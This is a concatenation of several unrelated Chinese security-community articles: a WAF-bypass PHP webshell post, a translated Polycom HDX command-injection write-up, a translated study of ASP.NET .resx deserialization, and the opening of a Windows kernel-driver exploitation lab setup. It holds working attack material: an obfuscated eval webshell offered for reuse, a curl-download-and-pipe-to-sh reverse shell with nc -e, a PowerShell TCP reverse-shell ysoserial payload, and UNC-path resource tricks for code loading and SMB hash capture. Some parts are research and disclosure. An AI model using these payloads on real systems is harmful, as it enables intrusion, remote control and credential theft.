这种方式来利用 但是不是所有函数都可以 什么 eval file_put_contents 都不行 本来准备利用
file_put_contents来写文件的这条路也不行了
还想到了 无字母shell
可惜直接传不行 需要在后面加一个左括号 ( 或者 右括号 ) 可能检测了括号的匹配对数 然后我尝试 注释掉多余的括号 但是发现 加了注释就绕不过了 ....
思考的时候,瞅了瞅以前绕waf的一些东西(所以说收集一些免杀东西什么还是有用的),直接放上去都不太行,不过我发现了一个比较关键的 那就是利用注释来进行混淆
几次尝试后发现
eval(/*-/*-*/$p/*-/*-*//*-/*-*//*-/*-*/);
这个不会被拦截,终于,我看到了希望,只要eval不被拦,什么都有戏,然后就是 如何构造这个$p了 直接
$p=$_GET['x'];$p=$_POST['x'];$p=$_SERVER['X']
这样都是不行会被封, 不过嘛还有 php//:input 关于php//:input流,我从百度找的介绍:
php://input :
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下，最好使用 php://input 来代替
$HTTP_RAW_POST_DATA
通过他能获取参数就是 那么基本的小马就形成了 如下:
我是希望利用上面这个小马来写文件,下面这个图是测试的phpinfo 就是上面这个图去掉file_put_contents的版本
具体的截图我找不到了...将就一下........
成功 发现disable了一些东西 刚开始也尝试过写cmd马 也没写成功 看来成功了也没用 给禁掉了
然后直接发包
file_put_contents('1.php',base64_decode('流量加密小马内容'))
还是我太天真了 直接给我封了 过不去 看来还需要一层加密 多加一层base64就ok
测试一下
nice!
直接写流量加密小马!
蚁剑访问之 看到了 绿色的连接成功 心中一丝舒爽涌上心头
**end**
写完这个文章也已经12点过了,过几天把漏洞交给学校.附赠一枚上面的小马,有需要的可以拿走. | 社区文章 |
# 【技术分享】视频会议系统Polycom HDX远程命令执行漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：staaldraad.github.io
原文地址：<http://staaldraad.github.io/2017/11/12/polycom-hdx-rce/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
对目标执行外围评估时，你需要花适量的时间，收集目标指纹信息，找到可能存在的攻击路径。如果目标是一个大型企业，你很有可能会找到视频会议端点。本文详细介绍了Polycom
HDX系列视频会议系统中存在的一个漏洞。
我在任职于[SensePost](https://sensepost.com/)时发现了这个漏洞，并将其报告给Polycom。Polycom确认了这个漏洞，并通知我们会发布一个补丁来修复这个漏洞。这件事情距今已过去一年多时间，但我还没有看到官方公布[安全公告或者漏洞补丁](http://support.polycom.com/content/support/security-center.html)。从这个漏洞被披露起，官方已经修复了HDX系列中存在的一个XSS漏洞，因此可能他们认为这个漏洞的影响没那么大。
**二、Polycom PSH**
Polycom HDX系列产品通过23端口提供管理控制台服务。管理接口搭建在PSH（Polycom
Shell）基础上，可以用来管理底层设备。默认情况下，这个接口并没有设置密码，或者会以456、admin或者POLYCOM作为密码，并且这个接口也没有绑定用户名。此外，PSH还存在一个[认证绕过漏洞](https://www.exploit-db.com/exploits/43032/)，不过这个漏洞的时间可以追溯到2013年，因此理论上大多数系统都已打过相应补丁。
连接到PSH控制台后，你会看到许多可用的操作，可以利用这些命令与底层会议系统交互。
这些都是非常有用的命令，然而这并不是我们需要的命令，因为我们寻找的是能够进入内部网络的方法。如果能找到命令执行方法，就很有希望能进入内部网络。回顾2013年曝光的那个认证绕过漏洞，当时他们提到了一个更早的漏洞，可以通过往ping命令中注入命令实现RCE（远程代码执行）目的。
**三、枚举可用攻击面**
在我的评估过程中，我发现目标对象中包含一个Polycom端点，这个端点没有启用任何身份认证机制。在没有其他可用的攻击方法前提下，我决定试一下通过这个接口进入目标内部网络。我尝试过老版本的ping命令执行漏洞，希望能够拿到一个shell，但不幸的是，该设备已打过补丁，导致攻击失败。然而，这个RCE漏洞给了我一些启示，我觉得另一个函数中可能会存在类似的漏洞。
仔细查阅官方参考手册，手动测试每条命令后，我依然没能完成命令执行目标。下一步就是尝试寻找隐藏的函数。为此，我从Polycom[官方更新网页](http://support.polycom.com/content/support/emea/emea/en/support/video/hdx_series/hdx9000.html)下载了系统软件的一个副本。这个更新副本为`.pup`文件，我使用binwalk工具来分析这个文件的具体构成。结果表明这个文件的格式并不复杂，binwalk可以自动提取出其中的所有组件。
命令如下：
binwalk -e polycom-hdx-release-3.1.10-51067.pup
接下来的工作就是深入分析提取出的所有二进制文件，找到那些文件比较重要、与polycom command
shell（PSH）有关。在快速查阅[Polycom技术文档](http://support.polycom.com/global/documents/support/setup_maintenance/products/video/hdx_irm.pdf)的同时，我也参考了PSH中help命令提供的信息，综合这些信息，我明确了哪些文件是我们的寻找目标。
我解压了polycom_swupdate目录中所有的`.tar.gz`文件，然后执行grep命令来搜索包含某个已知命令的文件。
cd _polycom-hdx-release-3.1.10-51067.pup.extracted/polycom_swupdate
tar xf polycom.g3.1.tar.gz
grep dialchannels -R *
新的目标是avc程序。分析二进制文件最为偷懒的一种方法就是使用strings命令，这也是我所使用的方法。
strings avc | less
这条命令的输出结果可以翻页，便于搜索，根据这些结果，我可以窥探二进制文件及其中可能包含的命令。根据grep的搜索结果，这个文件中包含dialchannels命令，这个信息表明其他命令也有可能会以字符串形式硬编码到该文件中。我们需要遍历所有的字符串，这是一个艰辛的过程，不过幸好我们可以走条捷径。这个程序使用c/c++编写，并且代码中到处可见格式化字符串（%s）的身影。我只需要寻找使用格式化字符串（%s）并将字符串传递给已知Linux系统命令的那些命令即可。
其中最有希望的是traceroute命令。原因有两方面，首先，该命令似乎会直接调用Linux命令，并且使用格式化字符串来传递参数；其次，之前曝光的命令注入漏洞存在于ping命令中（这是我们最喜欢的操作系统命令注入点）。此时貌似我们已经可以完成任务，只需要调用traceroute
'sleep
10'命令应该就能得到命令执行效果。但事实证明并非如此。调用traceroute命令后会不断返回错误信息，提示该命令并不存在。看起来我们并不能直接调用traceroute，因此我需要寻找调用traceroute命令的正确方式。为此，我又回到前面的字符串列表中，查找其中是否包含traceroute。
根据搜索结果，我们知道traceroute是lan命令的部分选项，因此我可以尝试注入这条命令。再次回到Polycom Command
Shell，经过尝试后，shell提示我们lan命令中并不包含traceroute选项。
但我认为选项中肯定包含traceroute，因为我已经在二进制文件中找到过这条命令的身影。经过艰难的搜索，我在分析`bin/psh`文件时发现其中包含一条未公开命令。这条命令就是devcmds，看起来非常美好。运行这条命令后，我们就能看到一条非常有趣的欢迎信息。
-> devcmds
Entering sticky internal commands *ONLY* mode
**
**
**四、Devcmds模式**
一旦进入这个模式，我发现前面可用的某些原始命令不会再起作用，貌似devcmds会激活一个新的代码分支。在这个模式下，再次尝试lan命令，突然间我们就可以使用traceroute了。我们可以使用`lan
traceroute 127.0.0.1`来验证这条命令是否能正常工作。
接下来就是尝试其他命令注入场景。
lan traceroute `echo 127.0.0.1`
然而这条命令无法成功执行，结果提示我们输入了无效的参数。
2017-11-12 12:16:40 DEBUG avc: pc[0]: NOTIFY: SYS lan traceroute Error:
2017-11-12 12:16:40 ERROR avc: pc[0]: DevMgrEther: DevMgrEther_Process_TraceRoute - (/usr/bin/traceroute `echo 2>&1 > /tmp/traceroute.out) failed [errno: 2 - No such file or directory]
查看输出结果后，我们可以发现echo之后的所有数据会直接被丢弃掉。这是因为其中包含空格符，程序会将空格符解释为一个单独的参数（程序很可能会使用空格符来拆分输入参数）。
**${IFS}**
幸运的是，Bash/Sh中包含一个非常棒的环境变量，即 **`$IFS` （Internal Field
Separator，内部字段分隔符）**。我可以使用这个环境变量来替代空格符，只需要将命令注入场景中的所有空格符替换为`${IFS}`即可。
lan traceroute `echo${IFS}127.0.0.1`
2009-07-25 06:08:41 DEBUG avc: pc[0]: uimsg: D: lan traceroute `echo${IFS}127.0.0.1`
2009-07-25 06:08:41 DEBUG avc: pc[0]: os: task:DETR pid:1754 thread 622ff4c0 17255 13fbc110
2009-07-25 06:08:41 INFO avc: pc[0]: DevMgrEther: Trace Route Command Entry, hostnameORIP: `echo${IFS}127.0.0.1` hop_count: 0
**五、利用方法**
如果这的确是RCE漏洞，为何我们不获取一个可用的shell？的确应该这么做。继续测试命令注入场景，我们又发现了一些限制条件。貌似程序会过滤掉分号（;），我们并不知道为什么会出现这种情况，可能是之前部分修复ping注入漏洞时的历史遗留问题。另一个问题是，在底层Polycom设备上，我只能使用数量有限的预置程序。也就是说，我无法使用nc命令，也无法使用反弹式bash
shell。
幸运的是，我们还可以使用curl，这意味着我们可以把自定义二进制程序下载到设备中，然后再使用这些程序。我们希望能获得netcat反弹式shell，所以我们需要找到能在Polycom设备上运行的nc程序。Polycom运行在powerpc上，也就是说我们需要找到兼容的nc程序，而不能直接把本地系统的nc程序上传到设备上。这并不是一个真正的难题，很容易解决。只需要启动基于powerpc的Debian镜像，就能找到能够适配powerpc的nc程序，并且该程序也包含-e选项。
我们可以使用qemu来运行Debian镜像：
qemu-system-ppc -hda debian_squeeze_powerpc_standard.qcow2
使用root:root凭证登录，然后拷贝`/bin/nc.traditional`二进制文件即可。
在本地运行如下命令：
nc -lv 8999 > /tmp/nc
在qemu中运行如下命令：
cat /bin/nc.traditional | nc 192.168.1.101 8999
现在我们就可以充分利用Polycom上的RCE漏洞了。
**获取Shell**
我把powerpc版的nc上传到了web服务器上，以便下载到Polycom设备上。然后，运行监听端，接受目标返回的反弹连接。
使用如下命令运行监听端：
nc -lvp 444
我们可以使用如下命令来下载nc，设置可执行权限，然后创建反弹式shell。将这些命令保存为web服务器上的一个载荷文件。
curl x.x.x.x:443/nc -o /tmp/nc
/bin/chmod +x /tmp/nc
/tmp/nc -e /bin/sh x.x.x.x 444
然后，通过命令注入漏洞执行如下命令：
lan traceroute echo${IFS}127.0.0.1&curl${IFS}x.x.x.x:443/ncexec${IFS}|sh${IFS}&
**六、总结**
现在，我们已经完全掌握底层设备的root访问权限，可以访问内部主机。理想情况下，会议系统会被放置在独立的子网中，并不能访问内部网络。然而，我们知道实际环境中经常可以看到扁平式网络结构以及缺乏隔离机制的网络环境，此时我们就能以此为突破口访问内部网络。 | 社区文章 |
# 对ASP.NET资源文件（.RESX）及反序列化漏洞的研究
|
##### 译文声明
本文是翻译文章，文章原作者 Soroush Dalili，文章来源：nccgroup.trust
原文地址：<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/august/aspnet-resource-files-resx-and-deserialisation-issues/>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
ASP.NET应用程序中的资源文件通常用作本地化存储，它们可用于存储 用户交互界面元素 或
可被轻松翻译的字符串[1]。这些资源文件一般用`.resx`作为文件拓展名，而当它们以`.resources`作为文件拓展名时，还能够被应用程序编译使用。可在微软的网站上了解到资源文件的更多信息[2,
3]
这些资源文件虽然是XML格式的，但是它们仍可以包含序列化对象。二进制对象在被序列化后，可以存储在以base64编码的`.resx`文件中。资源文件支持`BinaryFormatter`，
`SoapFormatter`和`TypeConverters`，这些方法均能被滥用于 反序列化不够安全的对象 或是 加载外部文件
这篇文章旨在更详细地讨论这种`attack
vector`（攻击向量），提升大家对它的认知深度，本研究中确认问题的灵感来源于AlvaroMuñoz和Oleksandr Mirosh撰写的白皮书，
_Friday the 13th JSON Attacks8_
## 补丁与遗留问题
我早在2018年1月时便向微软报告了资源文件（`.resx`和`.resources`）中的一些反序列化问题，但直至2018年7月微软才在许多产品中发布了多个补丁（CVE-2018-8172，CVE-2018-8172和
CVE-2018-8300），例如在这之前 SharePoint 与 Visual Studio 一直都在以不安全的方式处理`资源文件`[7]
在打上2018年7月的补丁后，已经无法在 Visual Studio
中直接打开有着Web记号（MOTW）[8]的`.resx`和`.resources`文件。当`MOTW`工作时，`resgen.exe`工具[9]会显示错误，而`winres.exe`工具[10]则会始终显示警告消息。值得注意的是，从压缩包中解压出的文件
或者是从 IE或Edge之外的浏览器中下载的文件 可能并被没有`MOTW`，大家应该更加谨慎地处理它们
微软开发者中心（MSDN）[11]的`System.Resources命名空间`文档也已经有了对应更新，包括`ResourceManager`，`ResourceReader`和`ResourceSet`方法的如下安全说明：
“Calling methods in this class with untrusted data is a security risk. Call the methods in the class only with trusted data. For more information, see Untrusted Data Security Risks”.
“使用不受信任的数据调用此类中的方法存在安全风险。仅使用受信任的数据调用此类中的方法。有关的更多信息，可参阅 不被信任数据存在的安全风险
我们应该注意到，`System.Resources方法`的行为尚未被更改，因此所有使用了ASP.NET库 读取、编译 或是 反编译
`资源文件`的应用程序（例如[12]和[13]），如果接受用户提供的资源文件，则很可能会受到攻击
## 如何对System.Resources命名空间产生影响？
因为无法事先确定资源文件中的序列化对象类型，所以不能通过排查 不安全的反序列化
这种方法来防止恶意代码执行。虽然在使用`BinaryFormatter`时可以保护到某些方法，但是想要预防所有的攻击是根本于事无补的，因为`SoapFormatter`或`TypeConverters`可以用作替代方法进行绕过
资源文件 还可以使用 UNC路径 指向本地文件或共享资源，而这又可能导致 文件枚举 或 SMB哈希劫持 等次要风险。当客户端工具被当成目标时，
SMB哈希劫持可能会面临更高更大的风险
由于`.resx`文件基于XML，因此在使用普通XML库读取资源文件时，自定义的解析器可能容易遭受XML外部实体（XXE）攻击。但是默认情况下，`ResXResourceReader`类并不会处理
文档类型定义（DTD）这部分的`XmlTextReader`
### 技术细节
可以使用 数据的`mimetype`属性 和 元数据标签
在资源文件内反序列化对象，此外`type`属性还可以被用来反序列化使用了`TypeConverters`的对象
**通过BinaryFormatter和SoapFormatter进行反序列化**
在以下情况使用`BinaryFormatter`（`System.Runtime.Serialization.Formatters.Binary.BinaryFormatter`）对资源文件中的对象进行反序列化：
* `mimetype`属性提交空值给`数据标签`;或者
* `mimetype`属性是以下`数据`或`元数据标签`之一：
application/x-microsoft.net.object.binary.base64
text/microsoft-urt/psuedoml-serialized/base64
text/microsoft-urt/binary-serialized/base64
在以下情况使用`SoapFormatter`（`System.Runtime.Serialization.Formatters.Soap.SoapFormatter`）对资源文件中的对象进行反序列化：
* `mimetype`属性是以下`数据`或`元数据标签`之一：
application/x-microsoft.net.object.soap.base64
text/microsoft-urt/soap-serialized/base64
由[14]处的源代码可知，`SoapFormatter`并没有通过`System.Web`被使用，然而这仍然可以通过 将 资源文件 上传到 ASP.NET
Web应用程序 的资源文件夹中来执行
ysoserial.net项目[15]可在没有事先知道反序列化问题的情况下，生成Payload（攻击载荷）。下面的例子展示了如何生成具有
`反向PowerShell` 功能的Payload（攻击载荷）
$command = '$client = New-Object System.Net.Sockets.TCPClient("remote_IP_here", remote_PORT_here);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
./ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "powershell.exe -encodedCommand $encodedCommand"
然后如下所示，将生成的Payload（攻击载荷）用于资源文件当中
[Resource file default scheme and headers redacted]
<data name="test1_BinaryFormatter" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[BinaryFormatter payload goes here without the square brackets]</value>
</data>
**通过`TypeConverters`进行反序列化**
虽然资源文件在多数情况下会使用`TypeConverters`，但是那些受`CanConvertFrom`方法检查的兼容类型同样也很重要。攻击者能够通过查找合适的类文件，使用`ConvertFrom`方法来执行代码。关于这种攻击的更多信息，可以查看
_Friday the 13th JSON Attacks [5]_ 白皮书
以下方案展示了，`TypeConverters`在作为`type`属性的`fully qualified assembly
name`（完全限定集名）的资源文件里的用法[译者注：这段真的难译啊T T]
* 当`application / x-microsoft.net.object.bytearray.base64`在`mimetype`里时：
<data name="test1" mimetype="application/x-microsoft.net.object.bytearray.base64" type="A Fully Qualified Assembly Name Here"><value>Base64 ByteArray Payload Here</value></data>
它需要接受一个`CanConvertFrom`中`byte []`类型的类文件
* 当`mimetype`属性不可用、`type`属性不为`null`（空）且不包含`System.Byte []`类型和`mscorlib`字符串时：
<data name="test1" type="A Fully Qualified Assembly Name Here">
<value>String Payload Here</value>
</data>
它需要接受一个`CanConvertFrom`中`String`类型的类文件
* 当能够包含使用了`System.Resources.ResXFileRef`类型的外部文件路径时：
<data name="test1" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>UNC_PATH_HERE; A Fully Qualified Assembly Name Here</value>
</data>
在获取`fully qualified assembly name`（完全限定集名）时，它支持`String`，`Byte
[]`和`MemoryStream`类型，而这又可能会被滥用于加载 包含了恶意序列化对象
的另一个资源文件，于是便可用来绕过对初始资源文件的潜在限制条件。下面的数据标签就是一个例子：
<data name="foobar" type="System.Resources.ResXFileRef">
<value>
\attacker.compayload.resx; System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
</value>
</data>
`ResXFileRef`类型还可以通过错误消息用作 文件枚举，也能通过 UNC路径 进行SMB哈希劫持。 比如：
<data name="foobar" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>\AttackerServertesttest;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>
## 趣味示例：在IIS上攻击不安全的文件上传程序
除了那些 允许用户提供任意资源文件 用来 自定义其本地设置 的应用软件 和 在用户交互界面显示 资源文件
的应用程序之外，具有以下特征的文件上传程序也很有可能受到影响：
* 可以上传扩展名为`.resx`或`.resources`的文件，并且
* 文件可以上传到 被上传文件夹 中的任意子文件夹中，并且
* 被上传文件夹可以通过Web访问到，并且
* 尚未禁用被上传文件夹中ASP.NET程序（`*.aspx`、 `*.ashx`、`*.asmx`或 `*_appservice.axd`）的执行权限
将资源文件直接上传到`App_GlobalResources`或`App_LocalResources`文件夹，可能导致远程代码执行，这将使那些未考虑到`.resx`或`.resources`
并且 允许用户上传这些文件
的应用程序陷入危险的境地。正因为`App_GlobalResources`目录只可能位于应用程序的根目录下，所以`App_LocalResources`文件夹简直就是为此类攻击而生
攻击者可以将恶意资源文件（`.resx`或`.resources`）上传到 被上传文件夹 中的`App_LocalResources`文件夹，然后从
被上传文件夹 中调用任意ASP.NET文件（甚至不管存在与否）来执行任意代码
可以使用`resgen.exe`工具编译`.resx`文件以创建`.resources`，值得一提的是`exploit
code`（EXP，漏洞利用代码）也将在编译过程中被执行
如果尚未在IIS服务器上创建过文件夹，攻击者则可以使用`App_LocalResources :: $
Index_allocation`或`App_LocalResources：$ i30：$ index_allocation trick in
filename`创建`App_LocalResources`文件夹。获取更多有关此技术的信息，可参阅OWASP.org [16]
以下文件和目录树显示了成功上载文件的示例：
|_ wwwroot
|_ MyApp
|_ Userfiles
|_ App_LocalResources
|_ test.resx
到现在为止，只要打开`/MyApp/Usefiles/foobar.aspx`页面，就能够在Web服务器上执行代码，`test.resx`文件可以用它被编译过后的文件`test.resources`替换，`foobar.aspx`文件也无需存在于服务器上
## 结论
1. 没有经过足够的验证时，请勿相信任何资源文件
2. 如果资源文件必须用在 包含字符串的值 上，那么建议使用`simple XML parser object`（简单XML解析器对象）解析`.resx`文件并读取值，而不要去处理`DTD`部分，这样便可以安全地对通用类型数据进行处理，而并不需要使用反序列化、类型转换器和文件引用功能
3. 为了保护文件上传程序，请确保在 被上传文件夹 中禁用ASP.NET扩展，并且配合使用白名单验证的方法（不要包括`.resx`和`.resources`扩展名）。 更多的建议可以在OWASP.org [16]中获取
## 引用的相关资源
[1] <https://msdn.microsoft.com/en-us/library/ms247246.aspx>
[2] <https://msdn.microsoft.com/en-us/library/ekyft91f(v=vs.85).aspx>
[3] <https://docs.microsoft.com/en-us/dotnet/framework/resources/working-with-resx-files-programmatically>
[4] <https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization>
[5] <https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf>
[6] <https://portal.msrc.microsoft.com/en-us/security-guidance/acknowledgments>
[7] <https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by-unsafe-resource-handling-in-multiple-microsoft-products/>
[8] <https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/ms537628(v=vs.85>)
[9] <https://docs.microsoft.com/en-us/dotnet/framework/tools/resgen-exe-resource-file-generator>
[10] <https://docs.microsoft.com/en-us/dotnet/framework/tools/winres-exe-windows-forms-resource-editor>
[11] <https://msdn.microsoft.com/en-us/library/system.resources(v=vs.110).aspx>
[12] <https://www.nccgroup.trust/uk/our-research/technical-advisory-code-execution-by-viewing-resource-files-in-net-reflector/>
[13] <https://github.com/icsharpcode/ILSpy/issues/1196>
[14]
<http://referencesource.microsoft.com/#System.Windows.Forms/winforms/Managed/System/Resources/ResXDataNode.cs,459>
[15] <https://github.com/pwntester/ysoserial.net>
[16] <https://www.owasp.org/index.php/Unrestricted_File_Upload> | 社区文章 |
## 0x00 Environment
1. Download OSR Loader 3.0：[OSROnline](http://www.osronline.com/OsrDown.cfm/osrloaderv30.zip?name=osrloaderv30.zip&id=157)
2. Download HEVD Source Code & HEVD_3.0：[Github](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/releases/tag/v3.00)
搭建Windbg+VMware双机调试环境可参阅[配置WinDbg,调试操作系统(双机调试)](https://d1nn3r.github.io/2019/02/23/windbgConnectVM/)一文，笔者最终使用环境如下：
* 物理机OS：Windows 10 20H2 x64
* 物理机WinDbg：10.0.17134.1
* 虚拟机OS：Windows 7 SP1 x86
* VMware：VMware Workstation 15 Pro
* Visual Studio 2019
## 0x01 Foundation Knowledge
关于编写驱动程序微软提供[示例](https://docs.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/writing-a-very-small-kmdf--driver)偏简单，故笔者从Github上找到另一[示例](https://gist.github.com/hasherezade/ee1a1914dfa2920c77e82fd52717a8fb)。如何安装WDK，创建项目及添加源文件不再赘述，可参阅[微软示例](https://docs.microsoft.com/zh-cn/windows-hardware/drivers/gettingstarted/writing-a-very-small-kmdf--driver)。驱动程序中源文件代码如下：
// Sample "Hello World" driver
// creates a HelloDev, that expects one IOCTL
#include <ntddk.h>
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) //#define CTL_CODE(DeviceType, Function, Method, Access) ( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
#define DOS_DEV_NAME L"\\DosDevices\\HelloDev"
#define DEV_NAME L"\\Device\\HelloDev"
/// <summary>
/// IRP Not Implemented Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpNotImplementedHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_NOT_SUPPORTED;
}
/// <summary>
/// IRP Create Close Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpCreateCloseHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
/// <summary>
/// IRP Unload Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <returns>NTSTATUS</returns>
VOID IrpUnloadHandler(IN PDRIVER_OBJECT DriverObject) {
UNICODE_STRING DosDeviceName = { 0 };
PAGED_CODE();
RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
// Delete the symbolic link
IoDeleteSymbolicLink(&DosDeviceName);
// Delete the device
IoDeleteDevice(DriverObject->DeviceObject);
DbgPrint("[!] Hello Driver Unloaded\n");
}
/// <summary>
/// IRP Device IoCtl Handler
/// </summary>
/// <param name="DeviceObject">The pointer to DEVICE_OBJECT</param>
/// <param name="Irp">The pointer to IRP</param>
/// <returns>NTSTATUS</returns>
NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) {
ULONG IoControlCode = 0;
PIO_STACK_LOCATION IrpSp = NULL;
NTSTATUS Status = STATUS_NOT_SUPPORTED;
UNREFERENCED_PARAMETER(DeviceObject);
PAGED_CODE();
IrpSp = IoGetCurrentIrpStackLocation(Irp);
IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;
if (IrpSp) {
switch (IoControlCode) {
case HELLO_DRV_IOCTL:
DbgPrint("[< HelloDriver >] Hello from the Driver!\n");
break;
default:
DbgPrint("[-] Invalid IOCTL Code: 0x%X\n", IoControlCode);
Status = STATUS_INVALID_DEVICE_REQUEST;
break;
}
}
Irp->IoStatus.Status = Status;
Irp->IoStatus.Information = 0;
// Complete the request
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return Status;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) {
UINT32 i = 0;
PDEVICE_OBJECT DeviceObject = NULL;
NTSTATUS Status = STATUS_UNSUCCESSFUL;
UNICODE_STRING DeviceName, DosDeviceName = { 0 };
UNREFERENCED_PARAMETER(RegistryPath);
PAGED_CODE();
RtlInitUnicodeString(&DeviceName, DEV_NAME);
RtlInitUnicodeString(&DosDeviceName, DOS_DEV_NAME);
DbgPrint("[*] In DriverEntry\n");
// Create the device
Status = IoCreateDevice(DriverObject,
0,
&DeviceName,
FILE_DEVICE_UNKNOWN,
FILE_DEVICE_SECURE_OPEN,
FALSE,
&DeviceObject);
if (!NT_SUCCESS(Status)) {
if (DeviceObject) {
// Delete the device
IoDeleteDevice(DeviceObject);
}
DbgPrint("[-] Error Initializing HelloDriver\n");
return Status;
}
// Assign the IRP handlers
for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
// Disable the Compiler Warning: 28169
#pragma warning(push)
#pragma warning(disable : 28169)
DriverObject->MajorFunction[i] = IrpNotImplementedHandler;
#pragma warning(pop)
}
// Assign the IRP handlers for Create, Close and Device Control
DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler;
DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler;
// Assign the driver Unload routine
DriverObject->DriverUnload = IrpUnloadHandler;
// Set the flags
DeviceObject->Flags |= DO_DIRECT_IO;
DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;
// Create the symbolic link
Status = IoCreateSymbolicLink(&DosDeviceName, &DeviceName);
// Show the banner
DbgPrint("[!] HelloDriver Loaded\n");
return Status;
}
禁用Spectre缓解：
修改目标系统版本及平台：
生成后将所有文件复制进虚拟机。尽管微软推荐使用[PnPUtil](https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil)进行驱动安装，但其于Win7系统下提供功能极少：
故笔者采用OSRLoader进行驱动安装及启用：
WinDbg中查看，加载成功：
之后编译主程序，其负责向驱动程序发出请求：
// Sample app that talks with the HelloDev (Hello World driver)
#include <stdio.h>
#include <windows.h>
#define HELLO_DRV_IOCTL CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
const char kDevName[] = "\\\\.\\HelloDev";
HANDLE open_device(const char* device_name)
{
HANDLE device = CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL
);
return device;
}
void close_device(HANDLE device)
{
CloseHandle(device);
}
BOOL send_ioctl(HANDLE device, DWORD ioctl_code)
{
//prepare input buffer:
DWORD bufSize = 0x4;
BYTE* inBuffer = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize);
//fill the buffer with some content:
RtlFillMemory(inBuffer, bufSize, 'A');
DWORD size_returned = 0;
BOOL is_ok = DeviceIoControl(device,
ioctl_code,
inBuffer,
bufSize,
NULL, //outBuffer -> None
0, //outBuffer size -> 0
&size_returned,
NULL
);
//release the input bufffer:
HeapFree(GetProcessHeap(), 0, (LPVOID)inBuffer);
return is_ok;
}
int main()
{
HANDLE dev = open_device(kDevName);
if (dev == INVALID_HANDLE_VALUE) {
printf("Failed!\n");
system("pause");
return -1;
}
send_ioctl(dev, HELLO_DRV_IOCTL);
close_device(dev);
system("pause");
return 0;
}
编译完成后复制进虚拟机。WinDbg执行`ed nt!Kd_Default_Mask
8`命令，如此一来便可查看`DbgPrint`函数输出结果。执行虚拟机中主程序：
下面于WinDbg中查看由主程序`DeviceIoControl`函数执行到驱动程序`IrpDeviceIoCtlHandler`函数经过哪些函数。首先于驱动程序`IrpDeviceIoCtlHandler`函数处设断，虚拟机中执行主程序，成功断下后`kb`命令输出结果：
00 9998dafc 83e7f593 88593e20 885a5738 885a5738 KMDFHelloWorld!IrpDeviceIoCtlHandler
01 9998db14 8407399f 866b0430 885a5738 885a57a8 nt!IofCallDriver+0x63
02 9998db34 84076b71 88593e20 866b0430 00000000 nt!IopSynchronousServiceTail+0x1f8
